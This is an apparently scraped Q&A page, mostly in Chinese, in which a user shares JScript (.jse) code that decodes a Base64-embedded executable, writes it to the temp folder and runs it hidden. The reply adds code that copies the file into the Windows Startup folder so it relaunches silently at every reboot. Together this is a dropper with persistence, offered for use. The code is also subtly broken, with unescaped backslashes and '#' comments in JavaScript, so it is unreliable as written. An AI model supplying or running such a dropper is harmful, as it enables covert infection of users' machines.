如何使jse文件执行编码.exe并静默添加启动?Javascript将文件添加到启动?
How to Make jse file to execute encoded .exe & add startup silently? Javascript to add file to startup?
>我正在制作一个JSE文件,它将解码Base64编码.exe文件,将其保存到tmp文件夹并执行。但是我需要在每次系统重新启动时将.exe文件添加到启动和运行中。我是编码初学者,刚刚用各种开源代码制作了这个程序。
谁能帮我如何使它自动启动?截至目前,一切正常。当我点击jse文件时,它在后台运行,从解码到安装exe。但是当我重新启动时,没有任何反应。
var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe
function decodeBase64(a) {
var b = new ActiveXObject("Microsoft.XMLDOM");
var c = b.createElement("tmp");
c.dataType = "bin.base64";
c.text = a;
return c.nodeTypedValue
}
function writeBytes(a, b) {
var c = 1;
var d = new ActiveXObject("ADODB.Stream");
d.Type = c;
d.Open();
d.Write(b);
d.SaveToFile(a)
}
function writeBase64FileInTemp(a, b) {
var c = 2;
var d = new ActiveXObject("Scripting.FileSystemObject");
var e = d.GetSpecialFolder(c) + "\" + b;
writeBytes(e, decodeBase64(a));
return e
}
function deleteFile(a) {
var b = new ActiveXObject("Scripting.FileSystemObject");
b.DeleteFile(a)
}
var fname = 'abc.exe';
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
oErrCode = oShell.Run(fpath, 0, true);
deleteFile(fpath)
} catch (err) {};
这运行良好,但任何人都可以帮助我在重新启动后每次运行这个.exe文件。
您只需将可执行文件复制到启动文件夹中。 您需要像这样更改代码:
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
oErrCode = oShell.Run(fpath, 0, true);
var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
fso.CopyFile (fpath, "C:\Users\"+strUserName+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"); # copy the file into the current user startup folder
deleteFile(fpath);
} catch (err) {};
相关文章:
- 将成员变量添加到共享库中的类中,不会破坏二进制兼容性吗
- 如何在C++中从两个单独的for循环中添加两个数组
- POCO::PostgreSQL:如何将std::vector支持添加到`Binder::bind`
- 如何仅为一个函数添加延迟
- 如何防止 c++ 在从浮点型转换为双精度型(不适用于 IO)时添加额外的小数?
- 使用std::transform将一个范围的元素添加到另一个范围中
- 如何创建一个空的全局类并在启动时实例化它
- 如何将更多文件夹添加到c++include路径
- 如何将元素添加到数组的线程安全函数?
- QT通过C++添加映射QML项目
- 在没有管理员权限的情况下,在 c++ 中以编程方式将程序添加到启动
- 如何使jse文件执行编码.exe并静默添加启动?Javascript将文件添加到启动?
- 如何在头文件中添加主题树,以便在每次启动 MQTT 时访问它
- 添加新对话框后,MFC 应用程序启动失败并"DLL Initialization Failed"
- C 从内部程序代码上将应用程序添加到Linux程序上的启动中
- 使用C++在启动时添加程序
- C# 类库 如何添加启动代码
- 添加一个需要管理员启动的程序
- 向启动添加内容的代码不会生成密钥
- 将应用程序添加到启动(注册表)